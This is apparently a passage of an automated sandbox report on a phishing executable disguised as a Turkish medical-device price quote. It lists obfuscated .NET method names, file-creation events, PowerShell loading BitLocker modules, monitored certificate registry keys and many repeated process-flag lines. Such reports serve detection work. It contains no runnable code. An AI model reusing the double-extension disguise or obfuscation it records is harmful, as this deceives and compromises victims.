Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, wVn35QS6L2AviJCUnX.cs	High entropy of concatenated method names: 'C7c76YtU9R', 'T4g73Glkyk', 'JAm7OKSfTN', 'LNt7sNneIH', 'QLa78Ja7qh', 'GnX7rVEnk4', 'E2n7PtEldC', 'A7v7dqcS1N', 'nmI7H99Xwo', 'UQH7U3DSpm'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, Q92ZEGuR3R0exjdZ2W.cs	High entropy of concatenated method names: 'CuL5evOS9A', 'amE564KOTc', 'x185O37SL8', 'tUW5suQjnw', 'GgN5rGkKPd', 'yV05Pktqhs', 'xx85HoLDRq', 'CQa5UGpBpa', 'KBKX9rYNCPRyoswsU22', 'ARNkAdYmTghI04rHAAN'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, Bvh04s2RPwtMA24VC4.cs	High entropy of concatenated method names: 'Dispose', 'URGXaDZ31B', 'KGfLNFIJC2', 'oL2kaGFCia', 'YkSXfH9CfJ', 'feBXzbn0Ar', 'ProcessDialogKey', 'MZXL4BT5kI', 'q9PLXdKbdo', 'igMLLKlj2q'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, Slj2qPfQHxBUgjbDJa.cs	High entropy of concatenated method names: 'Y0TgGM4kJI', 'kvogkPMryL', 'jLKg5aqY1R', 'DbBg7AyPHw', 'afxgJjCKql', 'P2fgyEyepX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, OOFLQYze1sefpXqr3a.cs	High entropy of concatenated method names: 'ucHgr4WtCf', 'zRPgddeeeX', 'zMYgHyKsRO', 'KGygombDxn', 'zNigNXvTyu', 'bJJguqxL8m', 'yYrg0K7M3j', 'x3pge1v3SQ', 'QBGg620RuA', 'WLjg309qP4'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, aBT5kIan9PdKbdo5gM.cs	High entropy of concatenated method names: 'sf4Joyiqvf', 'AGTJNC0FmS', 'MkhJFDMk1g', 'MUoJuDSGpH', 'HEgJ0ImxhQ', 'su6JQWgjFG', 'HUGJBQMi0V', 'LLYJc7wE1T', 'CIdJSJDs9p', 'wuwJqR3wpF'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, vS8He9MSluhkl5uLAc.cs	High entropy of concatenated method names: 'BQJVqePRET', 'Cq9VlapZjC', 'zM1VM3y9p2', 'WY0VZMqDUk', 'PNKVNDgUMR', 'OqPVFpWwcV', 'kawVuC65v6', 'iS1V01BaId', 'gNHVQxcHxB', 'coVVBPSiRI'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, fvx3xRxwOmRGDZ31Bf.cs	High entropy of concatenated method names: 'FfiJVHjP4s', 'sM3JCRS2T7', 'cawJJ9sdd7', 'KnvJ9jCyuh', 'o7ZJI9wb9W', 'bTVJeIjoJR', 'Dispose', 'hxgnYxlSFC', 'uKUn2dmIGM', 'KE8nGivjRw'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, xQs4EgLS5JBIGhk6AF.cs	High entropy of concatenated method names: 'qk6Oq6f0d', 'ESFsvkmBp', 'cIcrJ62XR', 's0APGCHVN', 'zBvHwU44p', 'lrjUJIIrG', 'PXCixqlX1YIs6ie8H3', 'sBT9uwqf0auY8SgZ8y', 'dRFCjVUrtg35ttofte', 'qTMn6VW4Y'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.42c4458.3.raw.unpack, chcZUZyrDJr55lSd5d.cs	High entropy of concatenated method names: 'pVmjptivra', 'PhBjYGyR5j', 'AQIj2eoBNJ', 'iK0jGAc0cP', 'MNhjk8nMoX', 'Fuij5TcgHv', 'K5gj7WQnj6', 'pQ3jyy5F4W', 'utLjED5kVa', 'soojDlZRrJ'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, oBXJZxdiv8wFS1Sq6H.cs	High entropy of concatenated method names: 'Sm12Mek7yn', 'tgI2ZZtcxe', 'MY42KJoWNa', 'bUJ2AJcnsZ', 'F3a2mXuJdx', 'dKl2TECwUQ', 'Cr02xnSyjC', 'Fv32wqDOFi', 'UYA2aDSeTV', 'hQe2f5PV34'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, M2G0LvtsEhXNMNChLt.cs	High entropy of concatenated method names: 'ybVX7BXJZx', 'pv8XywFS1S', 'AKaXD7YgEY', 'YivXvVVgk7', 'I7aXVDcDal', 'wWCXiXxRrB', 'UYabwISIhv1pYHAjNq', 'me1rlCcVuJeRHOARc2', 'hCMXXkAaZn', 'CrVXjMQ5lf'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, TGMUkbA0Kbu1msKbsw.cs	High entropy of concatenated method names: 'gM1CDK0T23', 'YMwCvkVk1e', 'ToString', 'KBdCY4UByJ', 'I0RC2UhEH5', 'e9mCGKlKVh', 'yi3CkOlFBv', 'VTAC5TKTG3', 'jZ7C77MwBT', 'DdRCySmkra'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, lalWWCoXxRrB1dKojv.cs	High entropy of concatenated method names: 'x0L5p3A2bN', 'ooA52bmvT5', 'Baj5kg0t09', 'Unn57CrGuD', 'HKK5yOk7Mg', 'N7gkmaxiVD', 'HkpkTF0hYh', 't4ZkxZMPIH', 'Qn0kwUTuuB', 'uFjka4BOEL'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, s6XsfsHKa7YgEYfivV.cs	High entropy of concatenated method names: 'tQZGsd4E2Q', 'UJxGr5sHby', 'KYrGd9q22c', 'fZPGHZ3RPV', 'OcAGVYumKF', 'ctQGicE1vO', 'gDsGCsBlL8', 'KnaGn3enQq', 'PkpGJQyral', 'mPRGgZ2LQG'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, wc2XIuBUuyRX37k0tb.cs	High entropy of concatenated method names: 'ktN7YFvewH', 'J117GBpb84', 'hMl75bmO2Q', 'sjG5f0OoLA', 'a9j5zV2R79', 'AF374JpFtJ', 'Wnv7XtTPWX', 'H017LpNBJn', 'AVk7jKHsPt', 'qGq7tmTSXG'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, SX9YTBX4Fs19bBqFKDk.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'nXZg1xcaWL', 'BmDgl0wkpW', 'wN0gbGhPiQ', 'bDEgMoeauU', 'flQgZkMaXG', 'GNjgKKDr9F', 'CnHgAy371k'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, Ovv7TxK8SiTZmDE309.cs	High entropy of concatenated method names: 'ToString', 'Lvdi1YNs8x', 'Y2CiNHyVdC', 'aKAiFMyUES', 'Iv4iuSVWSZ', 'TgCi0O2Wm6', 'f6yiQK1pJn', 'PjiiB4tqMk', 'rV0icSNpK6', 'YroiSoDuN0'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, Eg6tbkXXYLdYRflD26p.cs	High entropy of concatenated method names: 'ajhgfWJMYP', 'QYCgzrGUKl', 'rG694LoA6E', 'daj9Xx45Z9', 'qE99LHPwQl', 'xBH9jiBvvY', 'WCV9tX7Wvd', 'PEo9pLpfKD', 'rIm9Y9DGJX', 'XAy92KvxDX'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, ovGAdibW3XVXQYqWOO.cs	High entropy of concatenated method names: 'daMRdgt0r8', 'sMfRHsgDfO', 'fexRoo5Yef', 'jyJRNC9xVY', 'hW3RunJkwe', 'DcqR0fuQyH', 'KHrRB2Pw1N', 'anRRcIivOT', 'Wb3RqSTTUE', 'nJsR1b88Js'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, HRTOxMTE3odfb866U5.cs	High entropy of concatenated method names: 'TtECwM31Hw', 'vTbCf65UYs', 'V90n4yUYV9', 'AOlnXhFpKp', 'HcaC1OVXFo', 'xBdCl20l4O', 'booCbxWPae', 'l1KCMScDMb', 'Ej9CZFDQex', 'D8dCKri3lH'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, wVn35QS6L2AviJCUnX.cs	High entropy of concatenated method names: 'C7c76YtU9R', 'T4g73Glkyk', 'JAm7OKSfTN', 'LNt7sNneIH', 'QLa78Ja7qh', 'GnX7rVEnk4', 'E2n7PtEldC', 'A7v7dqcS1N', 'nmI7H99Xwo', 'UQH7U3DSpm'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, Q92ZEGuR3R0exjdZ2W.cs	High entropy of concatenated method names: 'CuL5evOS9A', 'amE564KOTc', 'x185O37SL8', 'tUW5suQjnw', 'GgN5rGkKPd', 'yV05Pktqhs', 'xx85HoLDRq', 'CQa5UGpBpa', 'KBKX9rYNCPRyoswsU22', 'ARNkAdYmTghI04rHAAN'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, Bvh04s2RPwtMA24VC4.cs	High entropy of concatenated method names: 'Dispose', 'URGXaDZ31B', 'KGfLNFIJC2', 'oL2kaGFCia', 'YkSXfH9CfJ', 'feBXzbn0Ar', 'ProcessDialogKey', 'MZXL4BT5kI', 'q9PLXdKbdo', 'igMLLKlj2q'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, Slj2qPfQHxBUgjbDJa.cs	High entropy of concatenated method names: 'Y0TgGM4kJI', 'kvogkPMryL', 'jLKg5aqY1R', 'DbBg7AyPHw', 'afxgJjCKql', 'P2fgyEyepX', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, OOFLQYze1sefpXqr3a.cs	High entropy of concatenated method names: 'ucHgr4WtCf', 'zRPgddeeeX', 'zMYgHyKsRO', 'KGygombDxn', 'zNigNXvTyu', 'bJJguqxL8m', 'yYrg0K7M3j', 'x3pge1v3SQ', 'QBGg620RuA', 'WLjg309qP4'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, aBT5kIan9PdKbdo5gM.cs	High entropy of concatenated method names: 'sf4Joyiqvf', 'AGTJNC0FmS', 'MkhJFDMk1g', 'MUoJuDSGpH', 'HEgJ0ImxhQ', 'su6JQWgjFG', 'HUGJBQMi0V', 'LLYJc7wE1T', 'CIdJSJDs9p', 'wuwJqR3wpF'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, vS8He9MSluhkl5uLAc.cs	High entropy of concatenated method names: 'BQJVqePRET', 'Cq9VlapZjC', 'zM1VM3y9p2', 'WY0VZMqDUk', 'PNKVNDgUMR', 'OqPVFpWwcV', 'kawVuC65v6', 'iS1V01BaId', 'gNHVQxcHxB', 'coVVBPSiRI'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, fvx3xRxwOmRGDZ31Bf.cs	High entropy of concatenated method names: 'FfiJVHjP4s', 'sM3JCRS2T7', 'cawJJ9sdd7', 'KnvJ9jCyuh', 'o7ZJI9wb9W', 'bTVJeIjoJR', 'Dispose', 'hxgnYxlSFC', 'uKUn2dmIGM', 'KE8nGivjRw'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, xQs4EgLS5JBIGhk6AF.cs	High entropy of concatenated method names: 'qk6Oq6f0d', 'ESFsvkmBp', 'cIcrJ62XR', 's0APGCHVN', 'zBvHwU44p', 'lrjUJIIrG', 'PXCixqlX1YIs6ie8H3', 'sBT9uwqf0auY8SgZ8y', 'dRFCjVUrtg35ttofte', 'qTMn6VW4Y'
Source: 0.2.fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe.434b478.4.raw.unpack, chcZUZyrDJr55lSd5d.cs	High entropy of concatenated method names: 'pVmjptivra', 'PhBjYGyR5j', 'AQIj2eoBNJ', 'iK0jGAc0cP', 'MNhjk8nMoX', 'Fuij5TcgHv', 'K5gj7WQnj6', 'pQ3jyy5F4W', 'utLjED5kVa', 'soojDlZRrJ'

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File created: \fiyati_teklif 65tibbi20_ memorial medikal cihaz sipari#u015fi jpeg docx _ .exe
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File created: \fiyati_teklif 65tibbi20_ memorial medikal cihaz sipari#u015fi jpeg docx _ .exe
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File created: \fiyati_teklif 65tibbi20_ memorial medikal cihaz sipari#u015fi jpeg docx _ .exe
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File created: \fiyati_teklif 65tibbi20_ memorial medikal cihaz sipari#u015fi jpeg docx _ .exe
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File created: \fiyati_teklif 65tibbi20_ memorial medikal cihaz sipari#u015fi jpeg docx _ .exe	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File created: \fiyati_teklif 65tibbi20_ memorial medikal cihaz sipari#u015fi jpeg docx _ .exe	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File created: \fiyati_teklif 65tibbi20_ memorial medikal cihaz sipari#u015fi jpeg docx _ .exe	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	File created: \fiyati_teklif 65tibbi20_ memorial medikal cihaz sipari#u015fi jpeg docx _ .exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
